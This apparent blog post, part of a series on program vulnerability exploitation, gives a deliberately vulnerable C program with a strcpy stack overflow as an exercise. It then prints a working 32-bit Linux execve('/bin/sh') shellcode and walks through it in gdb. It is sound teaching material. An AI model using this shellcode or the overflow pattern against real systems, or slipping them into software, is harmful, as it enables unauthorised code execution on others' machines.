Shellcodes

(This is part of my series on program vulnerability exploitation.)

Our ultimate goal when exploiting a program is to make it run arbitrary code. In general, especially in proof-of-concept exploits, we will want to spawn a shell since then from a shell we can execute arbitrary commands (so we consider that if we can spawn a shell, we can do anything). If the program already contains some code which spawns a shell, we can just replace a return address to jump to it in exactly the same way as in the previous post. You could try to exploit this program as an exercise:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void shell(void)
{
    system("/bin/sh");
}

void vuln(char *s)
{
    char buffer[50];
    strcpy(buffer, s);
}

int main(int argc, char **argv)
{
    if (argc == 1) {
        fprintf(stderr, "Enter a string!\n");
        exit(EXIT_FAILURE);
    }
    vuln(argv[1]);
}

Of course, in general there will be no such code in the program, so we also need to inject our own code. This is where things start to get interesting.

Code in memory consists in strings of bytes which represent processor instructions and their arguments, we have seen several examples of it before when we have disassembled our programs. A shellcode is no different: it is simply a string of bytes representing machine code to be read and executed by the processor. The only way in which it is different from the machine code generated by a compiler is that it is in a much more compact form, which allows us to conveniently pass it to a vulnerable program. The goal, of course, is to have the program write it in memory, and then to have the processor execute it. In order to achieve compactness, a shellcode will contain the absolute minimum amount of processor instructions required to accomplish the task we want the vulnerable program to perform.

Shellcode writing is an important skill, but we will not discuss it at this point. Instead, we will study an existing shellcode (which I have used before), which as a C array looks like this:

unsigned char shellcode[] =
"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b"
"\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";

In order to study it, we write it to a file and disassemble it:

$ perl -e 'print "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"' > shellcode.bin
$ objdump -D -b binary -mi386 shellcode.bin | nl
       
     1  shellcode.bin:     file format binary
       
       
     2  Disassembly of section .data:
       
     3  00000000 <.data>:
     4     0:   eb 18                   jmp    0x1a
     5     2:   5e                      pop    esi
     6     3:   31 c0                   xor    eax,eax
     7     5:   88 46 07                mov    BYTE PTR [esi+0x7],al
     8     8:   89 76 08                mov    DWORD PTR [esi+0x8],esi
     9     b:   89 46 0c                mov    DWORD PTR [esi+0xc],eax
    10     e:   b0 0b                   mov    al,0xb
    11    10:   8d 1e                   lea    ebx,[esi]
    12    12:   8d 4e 08                lea    ecx,[esi+0x8]
    13    15:   8d 56 0c                lea    edx,[esi+0xc]
    14    18:   cd 80                   int    0x80
    15    1a:   e8 e3 ff ff ff          call   0x2
    16    1f:   2f                      das    
    17    20:   62 69 6e                bound  ebp,QWORD PTR [ecx+0x6e]
    18    23:   2f                      das    
    19    24:   73 68                   jae    0x8e

Notice the special flags to objdump, which we need because what we are disassembling is not a “real” program but just a bunch of CPU instructions. This shellcode just spawns a shell, you can skip the remainder of this post if don’t want to bother now with the details of how it works.

1. System calls

We will now study what the shellcode does in detail, but we will start from the end. The end is on line 14 with the instruction int 0x80. Here, int stands for “interrupt”: what the program does with this instruction is that it calls on the kernel to perform a system call. A system call is essentially a function, but one which is performed by the kernel, and a program requests with the instruction int 0x80 that the kernel perform a system call on its behalf. (A typical example of a system call is read(): obviously a program cannot read data from an I/O device by itself, so it must ask the kernel to do it on its behalf.)

Which system call are we looking at here? When the instruction int 0x80 is run and the kernel takes over, it will look in the processor register eax to see which system call the program requested. Here, the value in eax is 0xb, decimal 11 (it was put there by the instruction on line 10). There is a handy Linux Syscall Reference website where we can look up system call code 11: it corresponds to execve() (it makes sense that our shellcode ultimately calls execve(), since we want it to spawn a shell).

2. Passing arguments to execve() (theory)

So, having the kernel execute a system call is easy: just put the appropriate system call code in eax, and run int 0x80. What’s more difficult is passing it the relevant arguments: the rest of the shellcode does precisely this. A look at man execve will give us the arguments:

NAME
       execve - execute program

SYNOPSIS
       #include <unistd.h>

       int execve(const char *filename, char *const argv[],
                  char *const envp[]);

and a look at the website mentioned before tells us that they must be in the registers ebx, ecx and edx respectively. We want the shellcode to spawn a shell and nothing more, so if we were running a C program we would do this:

$ cat test.c 
#include <unistd.h>

int main(void)
{
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
}
$ gcc -m32 -std=c99 -pedantic -Wall -Wextra -o test test.c
$ ./test 
sh-4.2$ 

but actually what we will do looks more like this:

$ cat test.c 
#include <unistd.h>

int main(void)
{
    char *array[] = {"/bin/sh", NULL};
    execve(array[0], array, array+1);
}
$ gcc -m32 -std=c99 -pedantic -Wall -Wextra -o test test.c
$ ./test 
sh-4.2$ 

which works just as well but requires only one array. Internally, it looks like this:

  array          array+1
  v              v
-+--------------+-------------+-
 | address      | null        |
 | of "/bin/sh" | pointer     |
-+--------------+-------------+-

The first argument we pass to execve() is array[0]: this is the first element of array, a pointer to a string “/bin/sh”. The second argument is array, which is the entire array: it will be the argv array of the shell process (as usual, argv[0] is the program’s name, and we need nothing else). Finally the third argument is array+1, it is the address of the second element of the array (the null pointer), and we can view it as another array which would start at this element, thus would contain only the null pointer.

So we need to write in memory: a (null-terminated) string “bin/sh”, and then contiguously the address of this string and a null pointer. Then we will put in ebx the address of the string, in ecx the address of the first element of our “array”, and in edx the address of its second element. We now look at how the shellcode achieves this.

3. Passing arguments to execve() (practice)

We will now follow the execution of the shellcode. For the purposes of demonstration we will embed it in a bogus program. Notice that we now compile with -z execstack, because we want to execute our shellcode, which will be on the stack. Making the stack non-executable by default is another protection of modern systems.

$ cat shellcode.c 
#include <stdio.h>

unsigned char shellcode[] =
"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b"
"\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";

int main(void)
{
    printf("%p\n", shellcode);
}
$ gcc -m32 -std=c99 -O0 -z execstack -pedantic -Wall -Wextra -o shellcode shellcode.c

We will run the program in gdb and make it jump to the address where the shellcode is located, then we can see it in action. First we disassemble main() to get the address of the shellcode, put a breakpoint on it, and jump to it. The program will immediately hit the breakpoint and stop:

$ gdb ./shellcode
Reading symbols from /home/firas/shellcode...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
   0x080483e4 <+0>:     push   ebp
   0x080483e5 <+1>:     mov    ebp,esp
   0x080483e7 <+3>:     and    esp,0xfffffff0
   0x080483ea <+6>:     sub    esp,0x10
   0x080483ed <+9>:     mov    eax,0x80484e0
   0x080483f2 <+14>:    mov    DWORD PTR [esp+0x4],0x804a040
   0x080483fa <+22>:    mov    DWORD PTR [esp],eax
   0x080483fd <+25>:    call   0x8048300 <printf@plt>
   0x08048402 <+30>:    mov    eax,0x0
   0x08048407 <+35>:    leave  
   0x08048408 <+36>:    ret    
End of assembler dump.
(gdb) break *0x0804a040
Breakpoint 1 at 0x804a040
(gdb) start
Temporary breakpoint 2 at 0x80483e7
Starting program: /home/firas/shellcode 

Temporary breakpoint 2, 0x080483e7 in main ()
(gdb) jump *0x0804a040
Continuing at 0x804a040.

Breakpoint 1, 0x0804a040 in shellcode ()
(gdb) disass &shellcode
Dump of assembler code for function shellcode:
=> 0x0804a040 <+0>:     jmp    0x804a05a <shellcode+26>
   0x0804a042 <+2>:     pop    esi
   0x0804a043 <+3>:     xor    eax,eax
   0x0804a045 <+5>:     mov    BYTE PTR [esi+0x7],al
   0x0804a048 <+8>:     mov    DWORD PTR [esi+0x8],esi
   0x0804a04b <+11>:    mov    DWORD PTR [esi+0xc],eax
   0x0804a04e <+14>:    mov    al,0xb
   0x0804a050 <+16>:    lea    ebx,[esi]
   0x0804a052 <+18>:    lea    ecx,[esi+0x8]
   0x0804a055 <+21>:    lea    edx,[esi+0xc]
   0x0804a058 <+24>:    int    0x80
   0x0804a05a <+26>:    call   0x804a042 <shellcode+2>
   0x0804a05f <+31>:    das    
   0x0804a060 <+32>:    bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804a063 <+35>:    das    
   0x0804a064 <+36>:    jae    0x804a0ce
   0x0804a066 <+38>:    add    BYTE PTR [eax],al
End of assembler dump.

The first instruction just makes it jump forward:

(gdb) stepi
0x0804a05a in shellcode ()
(gdb) disass &shellcode
Dump of assembler code for function shellcode:
   0x0804a040 <+0>:     jmp    0x804a05a <shellcode+26>
   0x0804a042 <+2>:     pop    esi
   0x0804a043 <+3>:     xor    eax,eax
   0x0804a045 <+5>:     mov    BYTE PTR [esi+0x7],al
   0x0804a048 <+8>:     mov    DWORD PTR [esi+0x8],esi
   0x0804a04b <+11>:    mov    DWORD PTR [esi+0xc],eax
   0x0804a04e <+14>:    mov    al,0xb
   0x0804a050 <+16>:    lea    ebx,[esi]
   0x0804a052 <+18>:    lea    ecx,[esi+0x8]
   0x0804a055 <+21>:    lea    edx,[esi+0xc]
   0x0804a058 <+24>:    int    0x80
=> 0x0804a05a <+26>:    call   0x804a042 <shellcode+2>
   0x0804a05f <+31>:    das    
   0x0804a060 <+32>:    bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804a063 <+35>:    das    
   0x0804a064 <+36>:    jae    0x804a0ce
   0x0804a066 <+38>:    add    BYTE PTR [eax],al
End of assembler dump.

The next instruction supposedly calls a function at the start of our shellcode. This looks weird, but let’s see what it does…

(gdb) stepi
0x0804a042 in shellcode ()
(gdb) disass &shellcode
Dump of assembler code for function shellcode:
   0x0804a040 <+0>:     jmp    0x804a05a <shellcode+26>
=> 0x0804a042 <+2>:     pop    esi
   0x0804a043 <+3>:     xor    eax,eax
   0x0804a045 <+5>:     mov    BYTE PTR [esi+0x7],al
   0x0804a048 <+8>:     mov    DWORD PTR [esi+0x8],esi
   0x0804a04b <+11>:    mov    DWORD PTR [esi+0xc],eax
   0x0804a04e <+14>:    mov    al,0xb
   0x0804a050 <+16>:    lea    ebx,[esi]
   0x0804a052 <+18>:    lea    ecx,[esi+0x8]
   0x0804a055 <+21>:    lea    edx,[esi+0xc]
   0x0804a058 <+24>:    int    0x80
   0x0804a05a <+26>:    call   0x804a042 <shellcode+2>
   0x0804a05f <+31>:    das    
   0x0804a060 <+32>:    bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804a063 <+35>:    das    
   0x0804a064 <+36>:    jae    0x804a0ce
   0x0804a066 <+38>:    add    BYTE PTR [eax],al
End of assembler dump.

Well, we’re back at the top, is this some kind of joke? Not quite, because if we just wanted to jump back and forth, we would have used jmp, not call. If you paid attention, call does something else besides jumping to the target location: it also pushes on the stack the address of the following instruction, so that the function which is supposedly called can return to it. Here we are not really calling a function, but we really wanted to have the address of the next instruction pushed on the stack. What is the next instruction, which is so important that we wanted its address on the stack? Looking at the disassembly, we see that it is the instruction das. What the hell is das? Are we speaking German now? If you really want to know, its full name is “Decimal Adjust AL after Subtraction”, and you can find more about it on page 290 of this. But we don’t really care about what das is, because in fact we are not really interested about the address of an instruction, but about the address of a string.

Recall that in order to pass the necessary argument to the execve() system call, we must obtain among other things a string “/bin/sh”, and the bytes which appear as das, bound, das, jae in our disassembly are in fact the bytes of our string, as is clear when you look back at the objdump of the shellcode and look up the ASCII values of those bytes. So now we have the address of a string “/bin/sh” at the top of our stack, as we can easily see:

(gdb) print $esp
$14 = (void *) 0xffffd5a4
(gdb) x/1wx $esp
0xffffd5a4:     0x0804a05f
(gdb) print *(char**)$esp
$15 = 0x804a05f "/bin/sh"

We can finally proceed. The next instruction is pop esi, which will just pop the top item of the stack (that is, the address of our string “/bin/sh”), and put it in the CPU register esi:

(gdb) print $esi
$16 = 0
(gdb) stepi
0x0804a043 in shellcode ()
(gdb) print /x $esi
$17 = 0x804a05f

The next instruction is xor eax,eax, which just XORs eax with itself. This is just another way of saying that we want to set it to 0:

(gdb) print $eax
$19 = 1
(gdb) stepi
0x0804a045 in shellcode ()
(gdb) print $eax
$20 = 0

Why did we want to set it to 0? This is because we need a supply of zero. Indeed, our string needs to be zero-terminated, and also we need to have a null pointer in our argument array. We cannot have any zero byte in our exploit string because the program would treat it as the end of the string, so we need to have our shellcode put zero bytes itself where they are needed. The next instruction will put one zero byte at address esi+7, which is the end of our string:

gdb) x/8c $esi
0x804a05f :       47 '/'  98 'b'  105 'i' 110 'n' 47 '/'  115 's' 104 'h' 0 '\000'
(gdb) stepi
0x0804a048 in shellcode ()
(gdb) x/8c $esi
0x804a05f :       47 '/'  98 'b'  105 'i' 110 'n' 47 '/'  115 's' 104 'h' 0 '\000'

(Here nothing happens since the byte after our string was already 0.)

Next we construct our array, putting it just after the string itself. The next instruction copies the contents of register esi (that is, the address of the string) at address esi+8 (that is, right after our string):

(gdb) x/4wx $esi
0x804a05f :       0x6e69622f      0x0068732f      0x00000000      0x00000000
(gdb) stepi
0x0804a04b in shellcode ()
(gdb) x/4wx $esi
0x804a05f :       0x6e69622f      0x0068732f      0x0804a05f      0x00000000
(gdb) print /x $esi
$22 = 0x804a05f

and after that we copy the value of register eax (zero, corresponding to a null pointer) at address esi+12 (corresponding to the second element of our array):

(gdb) print $eax
$23 = 0
(gdb) x/4wx $esi
0x804a05f :       0x6e69622f      0x0068732f      0x0804a05f      0x00000000
(gdb) stepi
0x0804a04e in shellcode ()
(gdb) x/4wx $esi
0x804a05f :       0x6e69622f      0x0068732f      0x0804a05f      0x00000000

Again, nothing happened since this word was already zero.

We are now ready to call execve(). First we put the system call code 11 (0xb) into eax:

(gdb) print $eax
$24 = 0
(gdb) stepi
0x0804a050 in shellcode ()
(gdb) print $eax
$25 = 11

and we put the value of esi (address of the string) into ebx:

(gdb) print /x $esi
$28 = 0x804a05f
(gdb) print /x $ebx
$29 = 0xf7fc1ff4
(gdb) stepi
0x0804a052 in shellcode ()
(gdb) print /x $ebx
$30 = 0x804a05f

… the value esi+8 (address of the first element of the array) into ecx:

(gdb) print /x $ecx
$31 = 0xffffd644
(gdb) stepi
0x0804a055 in shellcode ()
(gdb) print /x $ecx
$32 = 0x804a067

… and finally the value esi+12 (address of the second element of the array) into edx:

(gdb) print /x $edx
$33 = 0xffffd5d4
(gdb) stepi
0x0804a058 in shellcode ()
(gdb) print /x $edx
$34 = 0x804a06b

We can now call execve():

(gdb) disass &shellcode
Dump of assembler code for function shellcode:
   0x0804a040 <+0>:     jmp    0x804a05a <shellcode+26>
   0x0804a042 <+2>:     pop    esi
   0x0804a043 <+3>:     xor    eax,eax
   0x0804a045 <+5>:     mov    BYTE PTR [esi+0x7],al
   0x0804a048 <+8>:     mov    DWORD PTR [esi+0x8],esi
   0x0804a04b <+11>:    mov    DWORD PTR [esi+0xc],eax
   0x0804a04e <+14>:    mov    al,0xb
   0x0804a050 <+16>:    lea    ebx,[esi]
   0x0804a052 <+18>:    lea    ecx,[esi+0x8]
   0x0804a055 <+21>:    lea    edx,[esi+0xc]
=> 0x0804a058 <+24>:    int    0x80
   0x0804a05a <+26>:    call   0x804a042 
   0x0804a05f <+31>:    das    
   0x0804a060 <+32>:    bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804a063 <+35>:    das    
   0x0804a064 <+36>:    jae    0x804a0ce
   0x0804a066 <+38>:    add    BYTE PTR [edi-0x60],bl
End of assembler dump.
(gdb) stepi
process 25126 is executing new program: /bin/bash

We are finally done. The next two posts will show two ways in which we can have our shellcode executed after we copy it into memory. The first is easy and clean but has some requirements on the vulnerable program. The second is a lot more dirty and a little less reliable, but works on a larger range of programs.

Leave a Reply

Your email address will not be published. Required fields are marked *